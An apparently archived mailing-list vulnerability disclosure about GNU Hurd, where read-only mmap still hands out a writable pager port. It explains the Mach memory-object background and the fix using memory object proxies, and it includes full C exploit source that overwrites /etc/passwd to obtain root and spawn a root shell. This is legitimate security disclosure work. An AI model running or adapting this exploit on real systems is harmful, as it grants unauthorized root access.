From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp2 ([2001:41d0:8:6d80::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id kASPGINtgWEt4AAAgWs5BA (envelope-from ) for ; Tue, 02 Nov 2021 17:55:31 +0100 Received: from aspmx1.migadu.com ([2001:41d0:8:6d80::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp2 with LMTPS id 0BEtFINtgWGZVQAAB5/wlQ (envelope-from ) for ; Tue, 02 Nov 2021 16:55:31 +0000 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id A32F01EF9C for ; Tue, 2 Nov 2021 17:55:30 +0100 (CET) Received: from localhost ([::1]:42460 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1mhx4L-0004kN-Mg for larch@yhetil.org; Tue, 02 Nov 2021 12:55:29 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:33138) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1mhwhX-0006Nw-8u; Tue, 02 Nov 2021 12:31:55 -0400 Received: from mail-lj1-x22e.google.com ([2a00:1450:4864:20::22e]:40856) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1mhwhQ-00043Z-UJ; Tue, 02 Nov 2021 12:31:51 -0400 Received: by mail-lj1-x22e.google.com with SMTP id i26so33955392ljg.7; Tue, 02 Nov 2021 09:31:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=JAF9HUhFctxs+sh6vjM2ty7WCt11dMzOVTU8P3hpgos=; b=iJjRba1x9u5peFCs2CBCQ03NxVGpuwvFofJmFU4t98XQvX4zXyRdZAzxU4dnLkMRtB L3+Z4wLo8uRa8X9FpJmQSIIdHnYWPpspHvkDODhR0W3jf2Rlg5Xzd1k7JcAD6RTRATpY Ki/zdgNMuU4GxHrZpslXF309pXvg6lftskDH8hbtPLPMcryPCdUD9J6lPdnIKiu/qIlq RlWtJDXml5cLAT0ff5n/Rnj+G4KVbezad6zmI4VdMRCdmjCJOeMIYdtc9x9bBMyAcois p0sVKnOVhuVJ+iIVZ2CyQ49GRBavM6ww4n8kMzQuevSty4NmVVmlFsIJREC24Y7BY8hW ctlw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=JAF9HUhFctxs+sh6vjM2ty7WCt11dMzOVTU8P3hpgos=; b=glBBfzDx1BJ6Vh3QIC9NeGXL3xFe3YT0GN5HVyVRWbYDRP2hzYw8n98c2GqmjVnU9g EoUjjA0ajDH7Z6hFgOZkpkQ5SN/wRKvSqDuWamgsxlt2bqeSyZWDfxTWJOvr0Nf3Uofc Qtrq/Jr3LC8Thc3qBgXGDfLg81Yil9UmfkT/IlT3oZ2qlh8P+VBNfNcikHPIAlY7GDAn TtQBCimcJ29TGV9Hkhx/irB/ga28QJVgdBvQN0x6zJ6r4LdyVX2K49iK65dX3tkrTNaQ fNkPsZDBADSwj6fx3GyvJeYCJvUSZK5/vkOnHrCELP9o6OxFgBeF0QtI070N60DcRM0t dZDA== X-Gm-Message-State: AOAM5332HUtRpDXDUoimAszsEYmmIIE4bcRJQS51VjfzIGktD3NZVNtS H0VxbpQpNBVa7AWdlbTqHN+YRA6i1NuwcJKPhtk= X-Google-Smtp-Source: ABdhPJwfEsIrtCgj3bZvN+OUNlkRiNaCthFVd3cMiJnEEr+8MFguQwx5lOwmWbp2W1sdSAlugB2qXQ== X-Received: by 2002:a2e:b550:: with SMTP id a16mr40241963ljn.229.1635870705118; Tue, 02 Nov 2021 09:31:45 -0700 (PDT) Received: from badwolf.office.smartdec.ru ([81.23.5.115]) by smtp.googlemail.com with ESMTPSA id w15sm844111ljo.123.2021.11.02.09.31.44 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Tue, 02 Nov 2021 09:31:44 -0700 (PDT) From: Sergey Bugaev To: bug-hurd@gnu.org Subject: [VULN 2/4] No read-only mappings Date: Tue, 2 Nov 2021 19:31:19 +0300 Message-Id: <20211102163121.415934-3-bugaevc@gmail.com> X-Mailer: git-send-email 2.33.1 In-Reply-To: <20211102163121.415934-1-bugaevc@gmail.com> References: <20211102163121.415934-1-bugaevc@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Received-SPF: pass client-ip=2a00:1450:4864:20::22e; envelope-from=bugaevc@gmail.com; helo=mail-lj1-x22e.google.com X-Spam_score_int: -20 X-Spam_score: -2.1 X-Spam_bar: -- X-Spam_report: (-2.1 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, RCVD_IN_DNSWL_NONE=-0.0001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001 autolearn=ham autolearn_force=no X-Spam_action: no action X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: squid3@treenet.co.nz, Sergey Bugaev , debian-hurd@lists.debian.org, samuel.thibault@gnu.org, jlledom@mailfence.com, guix-devel@gnu.org, rbraun@sceen.net Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1635872130; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:list-id:list-help: list-unsubscribe:list-subscribe:list-post:dkim-signature; bh=JAF9HUhFctxs+sh6vjM2ty7WCt11dMzOVTU8P3hpgos=; b=W2hM+OPZ59+4cuUBsX1RnuftaBD9L/k+1BRpOR5QtK1Cvz3uSEr4kdKSp8qZQpVySZjCWq E6glaXGgmMMdVU9JgoObgu2nNH5QfOwYKb3f0SHvb3iYA1zdQzdxzNahjw2ePrVSbGRPwo YeIKRdqRzCqFTdniA6Xdo7xii7FH2D3fMiRs/lsmCyIwkF4gG90GqHOGtRPS1+E1FRu+hp 6JpLdeT1nzm1Z2okXSyFz7TdhzmoC0LjYy//Dis4J5zmPrOSglfsmrIxcWeCkNkOieNN3g 4f1mdgAB0pP4vkwmR67l+s0wwWUUoIIN/hkH2CbLYywJU7jHwKFmbdAzRtwxdw== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1635872130; a=rsa-sha256; cv=none; b=FafIT5rTXcHBd6+OOKScgLiu2ulAmedYf17HYgrhN6kHQGvaNQ6CZPK+RcRk/nEI3NXuHo B2GvkKIwvgDy4jNp7/tbzNDkw3E608tRpIETyNJhJEYnYG+BkUP21cWBuljl3b11zynFGr 4bjxgx6Q8QCw7/Ml7Ti2FAuO8D2hJgN+MbtLJbQRMcbjdHMRUP6Qph50EnHlXS6d/NfP9K WKTkavXa5rADavSo7+XLJ6gj6Z8hBWAJXjPcEglmnIpUyEq6nKPbAxayTr9o5F1MRkpabB /shynSf4nfyVFCiaQqWS9UwJrJeOyfcvh/KmPdZs7MEC6LILwnix5ubalsnJ8g== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=iJjRba1x; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Spam-Score: -0.32 Authentication-Results: aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=iJjRba1x; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Queue-Id: A32F01EF9C X-Spam-Score: -0.32 X-Migadu-Scanner: scn0.migadu.com X-TUID: yyYrNASo2iUn Short description ================= A single pager port is shared between anyone who mmaps a file, allowing anyone to modify any files they can read. This can be trivially exploited to get full root access to the system. Background: Mach memory objects =============================== Mach has the concept of memory objects, also called pagers. A memory object is essentially a collection of memory pages that can be mapped into a task address space. Memory objects can be implemented both in userspace or in the kernel. Like everything else in Mach, a memory object is represented by a port. A memory object port can be passed to the vm_map () call to map the object to the address space of a task. Mach itself acts as the client of the memory object, sending various requests to the object when it needs to read or write pages of data that belong to the memory object. An important property of (shared, as in MAP_SHARED) mappings is *coherence*: any changes made to the data (whether directly through the mapping or through some other means) must be immediately visible to everyone who has the object mapped. This basically requires a single set of physical pages to be shared between tasks, i.e. sharing a single set of physical pages is not only an optimization, but a hard requirement. Mach takes care to maintain this invariant, and only keeps a single copy of each logical page of a memory object (unless copying is requested explicitly). Background: io_map () ===================== On the Hurd, the common way to get a memory object is through the io_map () call, defined as follows: /* Return objects mapping the data underlying this memory object. If the object can be read then memobjrd will be provided; if the object can be written then memobjwr will be provided. For objects where read data and write data are the same, these objects will be equal, otherwise they will be disjoint. Servers are permitted to implement io_map but not io_map_cntl. Some objects do not provide mapping; they will set none of the ports and return an error. Such objects can still be accessed by io_read and io_write. */ routine io_map ( io_object: io_t; RPT out memobjrd: mach_port_send_t; out memobjwt: mach_port_send_t); io_map () can be called on a file; depending on whether the file was opened for reading, writing, or both, some of the returned memory objects can be null. The implementation of mmap () in glibc goes something like this (obviously, greatly simplified): mmap (...) { mach_port_t robj, wobj, memobj; io_map (io, &robj, &wobj); memobj = (prot & PROT_WRITE) ? wobj : robj; if (memobj == MACH_PORT_NULL) /* The translator doesn't provide this sort of access to us. */ return __hurd_fail (EACCES); vm_map (mach_task_self (), ..., memobj, ...); } The issue ========= As I mentioned, it's essential for coherence that there's a single copy of each page in core, shared between all tasks that have it mapped. This is why, generally, there can only be a single pager per file -- not two distinct pagers for read-only and writable access! This means that even when io_map () returns null for a writable memory object, the returned supposedly read-only memory object is still a port to the same, single pager for this file, which can be used for both reading and writing. While an mmap () call will behave as expected -- map the object read-only if so requested, return an error if asked to make a writable mapping since wobj is null -- nothing stops an attacker from calling vm_map () explicitly to create a writable mapping, nor from skipping the actual mapping and just talking to the pager directly using the port, like Mach would. The exploit =========== I can overwrite arbitrary files, at least on the root ext2fs, that I have read access to. It's trivial to get root access from here. I chose to stick with the password server and erasing /etc/passwd again. The exploit even makes sure to restore /etc/passwd contents after getting root, so that the system doesn't end up in a broken state. Exploit source code =================== #include #include #include #include #include #include #include #include int main () { error_t err; file_t file; file_t password_server; struct stat64 st; mach_port_t robj, wobj; vm_address_t addr = 0; void *buffer; auth_t root_auth; file = file_name_lookup ("/etc/passwd", O_READ, 0); if (!MACH_PORT_VALID (file)) error (1, errno, "file_name_lookup"); password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0); if (!MACH_PORT_VALID (password_server)) error (1, errno, "file_name_lookup"); err = io_stat (file, &st); if (err) error (1, err, "io_stat"); err = io_map (file, &robj, &wobj); if (err) error (1, err, "io_map"); err = vm_map (mach_task_self (), &addr, st.st_size, 0, 1, robj, 0, 0, VM_PROT_READ|VM_PROT_WRITE, VM_PROT_READ|VM_PROT_WRITE, VM_INHERIT_SHARE); if (err) error (1, err, "vm_map"); buffer = malloc (st.st_size); if (!buffer) error (1, errno, "malloc (%lu)", st.st_size); memcpy (buffer, (void *) addr, st.st_size); memset ((void *) addr, '\n', st.st_size); err = password_check_user (password_server, 0, "hax2", &root_auth); if (err) error (0, err, "password_check_user"); else fprintf (stderr, "Got root auth port :)\n"); memcpy ((void *) addr, buffer, st.st_size); free (buffer); err = setauth (root_auth); if (err) error (1, err, "setauth"); if (setresuid (0, 0, 0) < 0) error (0, errno, "setresuid"); if (setresgid (0, 0, 0) < 0) error (0, errno, "setresgid"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } Notes ===== As it turned out, this vulnerability has been known to (some of) the Hurd developers before. Specifically, I have found these old discussions on the mailing list: * https://lists.gnu.org/archive/html/bug-hurd/2002-11/msg00263.html * https://lists.gnu.org/archive/html/bug-hurd/2005-06/msg00191.html So while I have discovered this vulnerability independently, it is not exactly new. This also explains the existence of the memory object proxy feature: proxies turned out to be so convenient for fixing this, it's as if they have been designed specifically for this use case! -- well, it turns out, they have been indeed, but the work has never been completed. Background: memory object proxies ================================= Memory object proxies are a GNU Mach feature; they're not in other versions of Mach. They are lightweight references to memory objects that provide a "view" into their underlying object, while possibly modifying some attributes of the underlying memory object. Importantly for us, they can modify the allowed protection. It's important to understand that memory object proxies are not themselves memory objects: they don't respond to memory_object_* () RPCs, and in particular they _don't_ proxy memory_object_* () RPCs to their underlying memory object. But, memory object proxies can frequently be used _in place of_ an actual memory object, because vm_map () implementation recognizes memory object proxies and _actually maps the underlying memory object_, while applying the relevant attributes of the proxy (namely, adjusting the allowed protection). After the vm_map () call, the resulting state of the map is indistinguishable from what it would have been had the underlying memory object been mapped directly, without using a proxy. In particular, no additional references to the proxy are created, so the proxy can be safely destroyed afterwards once the userspace no longer references it. How we fixed the vulnerability ============================== By finally making use of memory object proxies! There's a new function in libpager (the Hurd library for writing pagers), pager_create_ro_port (), which creates a read-only proxy to the pager; it complements the existing pager_get_port () function, which gets the actual pager port. ext2fs, fatfs, and tmpfs were all updated to use pager_create_ro_port () to return this read-only proxy when appropriate. Since it's always the original memory object that's entered into the vm_map, we can give out read-only pager ports while still keeping the invariant that there's only one pager, and one copy of each logical page, per file. (To be clear: this part is not new, it's how proxies work; though we had to make some tweaks to this mechanism nevertheless.) We also had to disable the GNU Mach extension that allowed using the "memory object name port", as returned from vm_region (), in vm_map (). This extension effectively allowed tasks to remap any objects that they have mapped with a different protection (and range), circumventing any protection restrictions set up by proxies (or otherwise by max_protection). This was used by mremap () in glibc, which as of now no longer works. We have some plans for a different way to implement mremap () which would be secure (VM proxies). Before these changes, the proxies feature existed, but it was not used for anything (outside of Joan Lledó's PCI arbiter memory mapping branch). Now, the proxies are *pervasively* used when mapping any file read-only (think shared libraries) and also each time when reading any file from disk, since _diskfs_rdwr_internal () goes through a mapping.